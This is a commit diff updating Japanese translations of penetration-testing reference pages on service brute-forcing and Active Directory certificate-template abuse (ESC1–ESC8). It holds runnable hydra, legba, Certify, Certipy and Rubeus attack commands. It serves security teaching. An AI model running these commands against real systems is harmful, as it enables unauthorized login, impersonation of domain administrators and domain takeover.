mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/windows-hardening
This commit is contained in:
parent
713a2b5d1b
commit
693372a52d
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## デフォルトの認証情報
|
||||
## デフォルトの資格情報
|
||||
|
||||
**使用されている技術のデフォルトの認証情報をGoogleで検索**するか、**これらのリンクを試してください**:
|
||||
**使用されている技術のデフォルトの資格情報をGoogleで検索**するか、**これらのリンクを試してください**:
|
||||
|
||||
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
@ -21,7 +21,7 @@
|
||||
|
||||
## **独自の辞書を作成する**
|
||||
|
||||
ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール:
|
||||
ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール:
|
||||
|
||||
### Crunch
|
||||
```bash
|
||||
@ -120,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
### Docker Registry
|
||||
### Docker レジストリ
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
@ -151,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
```
|
||||
### HTTP - Post Form
|
||||
### HTTP - ポストフォーム
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
@ -278,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||
|
||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||
```
|
||||
**oracle_login**を**patator**で使用するには、**install**する必要があります:
|
||||
**oracle_login**を**patator**で使用するには、**install**する必要があります:
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
@ -406,7 +406,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ および OpenMQ)
|
||||
|
||||
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、OpenMQなどの人気のあるメッセージキューサービスとの**シームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。
|
||||
STOMPテキストプロトコルは、**RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューサービスとのシームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
@ -560,7 +560,7 @@ cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
#### 方法 2
|
||||
#### 方法2
|
||||
```bash
|
||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||
@ -620,22 +620,22 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
```
|
||||
### ワードリスト
|
||||
### Wordlists
|
||||
|
||||
- **Rockyou**
|
||||
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||
- [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||||
- [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||
|
||||
### **ワードリスト生成ツール**
|
||||
### **Wordlist Generation Tools**
|
||||
|
||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、ルートを持つ高度なキーボードウォークジェネレーター。
|
||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高度なキーボードウォークジェネレーターで、設定可能なベース文字、キーマップ、ルートを持っています。
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
### John mutation
|
||||
|
||||
_**/etc/john/john.conf**_ を読み込み、設定します。
|
||||
_read_ **/etc/john/john.conf** _を読み込み、設定します_
|
||||
```bash
|
||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
|
@ -20,13 +20,13 @@
|
||||
- **証明書テンプレートのセキュリティ記述子は過度に許可的であり、低特権ユーザーが登録権を取得できるようにしています。**
|
||||
- **証明書テンプレートは、認証を促進する EKU を定義するように構成されています:**
|
||||
- クライアント認証 (OID 1.3.6.1.5.5.7.3.2)、PKINIT クライアント認証 (1.3.6.1.5.2.3.4)、スマートカードログオン (OID 1.3.6.1.4.1.311.20.2.2)、任意の目的 (OID 2.5.29.37.0)、または EKU がない (SubCA) などの拡張キー使用 (EKU) 識別子が含まれています。
|
||||
- **テンプレートによって、リクエスターが証明書署名要求 (CSR) に subjectAltName を含めることが許可されています:**
|
||||
- Active Directory (AD) は、証明書に存在する場合、アイデンティティ検証のために subjectAltName (SAN) を優先します。これは、CSR に SAN を指定することによって、任意のユーザー(例:ドメイン管理者)を偽装するための証明書を要求できることを意味します。リクエスターが SAN を指定できるかどうかは、証明書テンプレートの AD オブジェクト内の `mspki-certificate-name-flag` プロパティによって示されます。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが存在する場合、リクエスターによる SAN の指定が許可されます。
|
||||
- **リクエスターが証明書署名要求 (CSR) に subjectAltName を含めることができるようにテンプレートが許可しています:**
|
||||
- Active Directory (AD) は、証明書に存在する場合、アイデンティティ検証のために subjectAltName (SAN) を優先します。これは、CSR に SAN を指定することで、任意のユーザー(例:ドメイン管理者)を偽装する証明書をリクエストできることを意味します。リクエスターが SAN を指定できるかどうかは、証明書テンプレートの AD オブジェクト内の `mspki-certificate-name-flag` プロパティによって示されます。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグの存在は、リクエスターによる SAN の指定を許可します。
|
||||
|
||||
> [!CAUTION]
|
||||
> 概説された構成により、低特権ユーザーが任意の SAN を持つ証明書を要求できるようになり、Kerberos または SChannel を通じて任意のドメインプリンシパルとしての認証が可能になります。
|
||||
> 概説された構成により、低特権ユーザーが任意の SAN を持つ証明書をリクエストできるようになり、Kerberos または SChannel を通じて任意のドメインプリンシパルとしての認証が可能になります。
|
||||
|
||||
この機能は、製品や展開サービスによる HTTPS またはホスト証明書のオンザフライ生成をサポートするため、または理解不足のために有効にされることがあります。
|
||||
この機能は、製品や展開サービスによる HTTPS またはホスト証明書のオンザフライ生成をサポートするため、または理解不足により有効にされることがあります。
|
||||
|
||||
このオプションで証明書を作成すると警告がトリガーされることが記載されていますが、既存の証明書テンプレート(`WebServer` テンプレートなど、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` が有効なもの)を複製してから認証 OID を含めるように変更した場合はそうではありません。
|
||||
|
||||
@ -47,29 +47,29 @@ certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.loc
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Windowsのバイナリ「Certreq.exe」と「Certutil.exe」を使用してPFXを生成できます: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
Windowsバイナリ「Certreq.exe」と「Certutil.exe」を使用してPFXを生成できます: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
ADフォレストの構成スキーマ内の証明書テンプレートの列挙、特に承認や署名を必要とせず、クライアント認証またはスマートカードログオンEKUを持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグが有効なものは、次のLDAPクエリを実行することで行うことができます:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
## 誤って設定された証明書テンプレート - ESC2
|
||||
## 誤設定された証明書テンプレート - ESC2
|
||||
|
||||
### 説明
|
||||
|
||||
二番目の悪用シナリオは最初のもののバリエーションです:
|
||||
二つ目の悪用シナリオは最初のもののバリエーションです:
|
||||
|
||||
1. エンタープライズCAによって低特権ユーザーに登録権が付与されます。
|
||||
2. マネージャーの承認要件が無効化されます。
|
||||
3. 認可された署名の必要性が省略されます。
|
||||
4. 証明書テンプレートのセキュリティ記述子が過度に許可されており、低特権ユーザーに証明書登録権を付与します。
|
||||
4. 証明書テンプレートのセキュリティ記述子が過度に許可的で、低特権ユーザーに証明書登録権を付与します。
|
||||
5. **証明書テンプレートはAny Purpose EKUまたはEKUなしとして定義されています。**
|
||||
|
||||
**Any Purpose EKU**は、攻撃者が**任意の目的**(クライアント認証、サーバー認証、コード署名など)で証明書を取得することを許可します。**ESC3で使用される技術**を利用して、このシナリオを悪用することができます。
|
||||
**Any Purpose EKU**は、攻撃者が**任意の目的**(クライアント認証、サーバー認証、コード署名など)で証明書を取得することを許可します。**ESC3で使用される技術**と同じ技術を使用してこのシナリオを悪用することができます。
|
||||
|
||||
**EKUなし**の証明書は、下位CA証明書として機能し、**任意の目的**で悪用される可能性があり、**新しい証明書に署名するためにも使用できます**。したがって、攻撃者は下位CA証明書を利用して新しい証明書に任意のEKUやフィールドを指定することができます。
|
||||
|
||||
ただし、**ドメイン認証**のために作成された新しい証明書は、下位CAが**`NTAuthCertificates`**オブジェクトによって信頼されていない場合、機能しません。これはデフォルト設定です。それでも、攻撃者は**任意のEKU**と任意の証明書値を持つ**新しい証明書を作成する**ことができます。これらは、広範な目的(例:コード署名、サーバー認証など)で**悪用される可能性**があり、SAML、AD FS、またはIPSecなどのネットワーク内の他のアプリケーションに重大な影響を与える可能性があります。
|
||||
ただし、**ドメイン認証**のために作成された新しい証明書は、下位CAが**`NTAuthCertificates`**オブジェクトによって信頼されていない場合、機能しません。これはデフォルト設定です。それでも、攻撃者は**任意のEKU**と任意の証明書値を持つ**新しい証明書を作成する**ことができます。これらは、コード署名、サーバー認証などの広範な目的で**悪用される可能性**があり、SAML、AD FS、またはIPSecなどのネットワーク内の他のアプリケーションに重大な影響を与える可能性があります。
|
||||
|
||||
ADフォレストの構成スキーマ内でこのシナリオに一致するテンプレートを列挙するには、次のLDAPクエリを実行できます:
|
||||
```
|
||||
@ -81,9 +81,9 @@ ADフォレストの構成スキーマ内でこのシナリオに一致するテ
|
||||
|
||||
このシナリオは最初と二番目のものに似ていますが、**異なるEKU**(証明書要求エージェント)と**2つの異なるテンプレート**を**悪用**しています(したがって、2セットの要件があります)。
|
||||
|
||||
**証明書要求エージェントEKU**(OID 1.3.6.1.4.1.311.20.2.1)は、Microsoftの文書で**登録エージェント**として知られており、ある主体が**他のユーザー**の**代理**で**証明書**に**登録**することを許可します。
|
||||
**証明書要求エージェントEKU**(OID 1.3.6.1.4.1.311.20.2.1)は、Microsoftの文書で**登録エージェント**として知られており、ある主体が**他のユーザーの代わりに**証明書に**登録**することを許可します。
|
||||
|
||||
**「登録エージェント」**はそのような**テンプレート**に登録し、結果として得られた**証明書を使用して他のユーザーの代理でCSRに共同署名**します。その後、**共同署名されたCSR**をCAに**送信**し、「代理で登録することを許可する」**テンプレート**に登録し、CAは**「他の」ユーザーに属する証明書**で応答します。
|
||||
**「登録エージェント」**はそのような**テンプレート**に登録し、結果として得られた**証明書を使用して他のユーザーの代わりにCSRに共同署名**します。その後、**共同署名されたCSR**をCAに**送信**し、「他のユーザーの代わりに登録することを許可する**テンプレート**に登録します。そして、CAは**「他の」ユーザーに属する証明書**で応答します。
|
||||
|
||||
**要件 1:**
|
||||
|
||||
@ -91,19 +91,19 @@ ADフォレストの構成スキーマ内でこのシナリオに一致するテ
|
||||
- マネージャーの承認要件は省略されます。
|
||||
- 認可された署名の要件はありません。
|
||||
- 証明書テンプレートのセキュリティ記述子は過度に許可的であり、低特権ユーザーに登録権を付与します。
|
||||
- 証明書テンプレートには証明書要求エージェントEKUが含まれており、他の主体の代理で他の証明書テンプレートを要求することを可能にします。
|
||||
- 証明書テンプレートには証明書要求エージェントEKUが含まれており、他の主体の代わりに他の証明書テンプレートを要求することを可能にします。
|
||||
|
||||
**要件 2:**
|
||||
|
||||
- エンタープライズCAは低特権ユーザーに登録権を付与します。
|
||||
- マネージャーの承認がバイパスされます。
|
||||
- マネージャーの承認はバイパスされます。
|
||||
- テンプレートのスキーマバージョンは1または2を超え、証明書要求エージェントEKUを必要とするアプリケーションポリシー発行要件を指定します。
|
||||
- 証明書テンプレートに定義されたEKUはドメイン認証を許可します。
|
||||
- CAに対する登録エージェントの制限は適用されません。
|
||||
- CAには登録エージェントに対する制限が適用されません。
|
||||
|
||||
### 悪用
|
||||
|
||||
このシナリオを悪用するには、[**Certify**](https://github.com/GhostPack/Certify)または[**Certipy**](https://github.com/ly4k/Certipy)を使用できます:
|
||||
このシナリオを悪用するには、[**Certify**](https://github.com/GhostPack/Certify)または[**Certipy**](https://github.com/ly4k/Certipy)を使用できます。
|
||||
```bash
|
||||
# Request an enrollment agent certificate
|
||||
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
|
||||
@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
**ユーザー**が**登録エージェント証明書**を**取得**することを許可されている場合、登録**エージェント**が登録できるテンプレート、および登録エージェントが行動できる**アカウント**は、エンタープライズCAによって制約されることがあります。これは、`certsrc.msc` **スナップイン**を開き、**CAを右クリック**し、**プロパティをクリック**し、次に「Enrollment Agents」タブに**移動**することで実現されます。
|
||||
**ユーザー**が**登録エージェント証明書**を**取得**することを許可されている場合、登録**エージェント**が登録することを許可されているテンプレート、および登録エージェントが行動することができる**アカウント**は、エンタープライズCAによって制約されることがあります。これは、`certsrc.msc` **スナップイン**を開き、**CAを右クリック**し、**プロパティをクリック**し、次に「Enrollment Agents」タブに**移動**することで実現されます。
|
||||
|
||||
ただし、CAの**デフォルト**設定は「**登録エージェントを制限しない**」ことに注意が必要です。管理者によって登録エージェントの制限が有効にされ、「登録エージェントを制限する」に設定されると、デフォルトの構成は非常に許可的なままです。これにより、**Everyone**が誰でもすべてのテンプレートに登録することができます。
|
||||
|
||||
@ -131,7 +131,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
|
||||
|
||||
証明書テンプレートに適用される注目すべき権限には以下が含まれます:
|
||||
|
||||
- **Owner:** オブジェクトに対する暗黙の制御を付与し、任意の属性を変更できるようにします。
|
||||
- **Owner:** オブジェクトに対する暗黙の制御を付与し、任意の属性を変更することを可能にします。
|
||||
- **FullControl:** オブジェクトに対する完全な権限を付与し、任意の属性を変更する能力を含みます。
|
||||
- **WriteOwner:** オブジェクトの所有者を攻撃者の制御下にあるプリンシパルに変更することを許可します。
|
||||
- **WriteDacl:** アクセス制御の調整を可能にし、攻撃者にFullControlを付与する可能性があります。
|
||||
@ -149,7 +149,7 @@ ESC4は、ユーザーが証明書テンプレートに対して書き込み権
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** は、単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipy は設定を **上書き** して **ESC1 に対して脆弱** にします。また、**`-save-old` パラメータを指定して古い設定を保存**することもでき、これは攻撃後に設定を **復元** するのに役立ちます。
|
||||
**Certipy** は、単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipy は設定を **上書き** して **ESC1 に対して脆弱** にします。また、**`-save-old` パラメータを指定して古い設定を保存** することもでき、これは攻撃後に設定を **復元** するのに役立ちます。
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -166,7 +166,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
||||
|
||||
ACLベースの関係の広範なネットワークは、証明書テンプレートや証明書認証局を超えるいくつかのオブジェクトを含み、AD CSシステム全体のセキュリティに影響を与える可能性があります。これらのオブジェクトは、セキュリティに大きな影響を与える可能性があり、以下を含みます:
|
||||
|
||||
- CAサーバーのADコンピュータオブジェクトは、S4U2SelfやS4U2Proxyのようなメカニズムを通じて侵害される可能性があります。
|
||||
- CAサーバーのADコンピュータオブジェクトは、S4U2SelfやS4U2Proxyなどのメカニズムを通じて侵害される可能性があります。
|
||||
- CAサーバーのRPC/DCOMサーバー。
|
||||
- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 内の任意の子孫ADオブジェクトまたはコンテナ。このパスには、証明書テンプレートコンテナ、認証局コンテナ、NTAuthCertificatesオブジェクト、エンロールメントサービスコンテナなどのコンテナやオブジェクトが含まれますが、これに限定されません。
|
||||
|
||||
@ -178,7 +178,7 @@ ACLベースの関係の広範なネットワークは、証明書テンプレ
|
||||
|
||||
[**CQure Academyの投稿**](https://cqureacademy.com/blog/enhanced-key-usage)で議論されている主題は、Microsoftによって概説された**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグの影響にも触れています。この設定は、認証局(CA)で有効にされると、**ユーザー定義の値**を**任意のリクエスト**の**代替名**に含めることを許可します。これには、Active Directory®から構築されたリクエストも含まれます。したがって、この規定により、**侵入者**はドメイン**認証**のために設定された**任意のテンプレート**を通じて登録することが可能になります。特に、標準のユーザーテンプレートのように**特権のない**ユーザー登録に開放されているものです。その結果、証明書が取得され、侵入者はドメイン管理者またはドメイン内の**他のアクティブなエンティティ**として認証できるようになります。
|
||||
|
||||
**注意**: 証明書署名要求(CSR)に**代替名**を追加する方法は、`certreq.exe`の`-attrib "SAN:"`引数を通じて行われ(「名前値ペア」と呼ばれる)、ESC1のSANの悪用戦略とは**対照的**です。ここでの違いは、**アカウント情報がどのようにカプセル化されるか**にあります—拡張ではなく、証明書属性内にあります。
|
||||
**注意**: 証明書署名要求(CSR)に**代替名**を追加する方法は、`certreq.exe`の`-attrib "SAN:"`引数を通じて行われ(「名前値ペア」と呼ばれる)、ESC1におけるSANの悪用戦略とは**対照的**です。ここでの違いは、**アカウント情報がどのようにカプセル化されるか**にあります—拡張ではなく、証明書属性内にあります。
|
||||
|
||||
### 悪用
|
||||
|
||||
@ -190,7 +190,7 @@ certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
[**Certify**](https://github.com/GhostPack/Certify)や[**Certipy**](https://github.com/ly4k/Certipy)のようなツールは、この誤設定を検出し、悪用することができます:
|
||||
ツールのような [**Certify**](https://github.com/GhostPack/Certify) と [**Certipy**](https://github.com/ly4k/Certipy) は、この誤設定を検出し、悪用することができます:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
@ -199,17 +199,17 @@ Certify.exe find
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
これらの設定を変更するには、**ドメイン管理者**権限または同等の権限を持っていると仮定して、次のコマンドを任意のワークステーションから実行できます:
|
||||
これらの設定を変更するには、**ドメイン管理者**権限または同等の権限を持っていると仮定して、次のコマンドを任意のワークステーションから実行できます:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
この設定を環境で無効にするには、フラグを次のコマンドで削除できます:
|
||||
この設定をあなたの環境で無効にするには、フラグを次のように削除できます:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> 2022年5月のセキュリティ更新以降、新しく発行された**証明書**には、**リクエスターの`objectSid`プロパティ**を組み込んだ**セキュリティ拡張**が含まれます。ESC1の場合、このSIDは指定されたSANから派生します。しかし、**ESC6**の場合、SIDは**リクエスターの`objectSid`**を反映し、SANではありません。\
|
||||
> ESC6を悪用するには、システムがESC10(弱い証明書マッピング)に対して脆弱であることが不可欠であり、これにより**新しいセキュリティ拡張よりもSANが優先されます**。
|
||||
> ESC6を悪用するには、システムがESC10(弱い証明書マッピング)に脆弱である必要があり、これにより**新しいセキュリティ拡張よりもSANが優先されます**。
|
||||
|
||||
## 脆弱な証明書認証局アクセス制御 - ESC7
|
||||
|
||||
@ -225,11 +225,11 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth
|
||||
|
||||
#### 悪用
|
||||
|
||||
証明書機関で **`ManageCA`** 権限を持つことは、PSPKIを使用してリモートで設定を操作することを可能にします。これには、任意のテンプレートでSAN指定を許可するために **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えることが含まれ、ドメイン昇格の重要な側面です。
|
||||
証明書機関で **`ManageCA`** 権限を持つことは、PSPKIを使用してリモートで設定を操作することを可能にします。これには、任意のテンプレートでSAN指定を許可するために **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えることが含まれ、これはドメイン昇格の重要な側面です。
|
||||
|
||||
このプロセスの簡素化は、PSPKIの **Enable-PolicyModuleFlag** cmdletを使用することで達成可能であり、直接的なGUI操作なしで変更を行うことができます。
|
||||
このプロセスの簡素化は、PSPKIの **Enable-PolicyModuleFlag** cmdletを使用することで達成可能で、直接的なGUI操作なしで変更を行うことができます。
|
||||
|
||||
**`ManageCertificates`** 権限を持つことで、保留中のリクエストの承認が可能になり、「CA証明書マネージャー承認」保護を効果的に回避します。
|
||||
**`ManageCertificates`** 権限を持つことで、保留中のリクエストの承認が可能になり、「CA証明書マネージャーの承認」保護を効果的に回避できます。
|
||||
|
||||
**Certify** と **PSPKI** モジュールの組み合わせを使用して、証明書をリクエスト、承認、ダウンロードすることができます:
|
||||
```bash
|
||||
@ -252,28 +252,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
#### Explanation
|
||||
|
||||
> [!WARNING]
|
||||
> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
|
||||
> 前の攻撃では、**`Manage CA`** 権限を使用して **EDITF_ATTRIBUTESUBJECTALTNAME2** フラグを有効にし、**ESC6攻撃**を実行しましたが、CAサービス(`CertSvc`)が再起動されるまで効果はありません。ユーザーが `Manage CA` アクセス権を持っている場合、そのユーザーは **サービスを再起動することも許可されます**。ただし、**ユーザーがリモートでサービスを再起動できることを意味するわけではありません**。さらに、**ESC6は、2022年5月のセキュリティ更新により、ほとんどのパッチ適用環境ではそのままでは機能しない可能性があります**。
|
||||
|
||||
したがって、ここで別の攻撃が提示されます。
|
||||
したがって、ここでは別の攻撃が提示されます。
|
||||
|
||||
Perquisites:
|
||||
前提条件:
|
||||
|
||||
- Only **`ManageCA` permission**
|
||||
- **`Manage Certificates`** permission (can be granted from **`ManageCA`**)
|
||||
- Certificate template **`SubCA`** must be **enabled** (can be enabled from **`ManageCA`**)
|
||||
- **`ManageCA` 権限のみ**
|
||||
- **`Manage Certificates`** 権限(**`ManageCA`** から付与可能)
|
||||
- 証明書テンプレート **`SubCA`** は **有効**でなければならない(**`ManageCA`** から有効にできる)
|
||||
|
||||
この技術は、`Manage CA` _and_ `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書リクエストを発行できる** という事実に依存しています。 **`SubCA`** 証明書テンプレートは **ESC1** に対して **脆弱ですが**、**管理者のみがテンプレートに登録できます**。したがって、**ユーザー**は **`SubCA`** に登録をリクエストできますが - これは **拒否されます** - しかし **その後、マネージャーによって発行されます**。
|
||||
この技術は、`Manage CA` _かつ_ `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書リクエストを発行できる**という事実に依存しています。**`SubCA`** 証明書テンプレートは **ESC1に対して脆弱ですが**、**管理者のみがテンプレートに登録できます**。したがって、**ユーザー**は **`SubCA`** への登録を **リクエスト**できますが、これは **拒否され**、その後 **マネージャーによって発行されます**。
|
||||
|
||||
#### Abuse
|
||||
|
||||
You can **grant yourself the `Manage Certificates`** access right by adding your user as a new officer.
|
||||
自分自身に **`Manage Certificates`** アクセス権を付与するには、新しいオフィサーとして自分のユーザーを追加できます。
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して CA で **有効にする** ことができます。デフォルトでは、`SubCA` テンプレートは有効になっています。
|
||||
**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して CA で **有効にすることができます**。デフォルトでは、`SubCA` テンプレートは有効になっています。
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -322,17 +322,17 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
### 説明
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **AD CSがインストールされている**環境では、**脆弱なウェブ登録エンドポイント**が存在し、少なくとも1つの**証明書テンプレートが公開されている**場合、**ドメインコンピュータの登録とクライアント認証を許可する**(デフォルトの**`Machine`**テンプレートなど)と、**スプーラーサービスがアクティブな任意のコンピュータが攻撃者によって侵害される可能性があります**!
|
||||
|
||||
AD CSは、管理者がインストールできる追加のサーバーロールを通じて利用可能な**HTTPベースの登録方法**をいくつかサポートしています。これらのHTTPベースの証明書登録インターフェースは、**NTLMリレー攻撃**に対して脆弱です。攻撃者は、**侵害されたマシンから、受信NTLMを介して認証される任意のADアカウントを偽装することができます**。被害者アカウントを偽装している間、攻撃者はこれらのウェブインターフェースにアクセスして、**`User`または`Machine`証明書テンプレートを使用してクライアント認証証明書を要求することができます**。
|
||||
AD CSは、管理者がインストールできる追加のサーバーロールを通じて提供される**HTTPベースの登録方法**をいくつかサポートしています。これらのHTTPベースの証明書登録インターフェースは、**NTLMリレー攻撃**に対して脆弱です。攻撃者は、**侵害されたマシンから、受信NTLMを介して認証される任意のADアカウントを偽装することができます**。被害者アカウントを偽装している間、攻撃者はこれらのウェブインターフェースにアクセスして、**`User`または`Machine`証明書テンプレートを使用してクライアント認証証明書を要求することができます**。
|
||||
|
||||
- **ウェブ登録インターフェース**(`http://<caserver>/certsrv/`で利用可能な古いASPアプリケーション)は、デフォルトでHTTPのみを使用し、NTLMリレー攻撃に対する保護を提供しません。さらに、Authorization HTTPヘッダーを通じてNTLM認証のみを明示的に許可しており、Kerberosのようなより安全な認証方法は適用できません。
|
||||
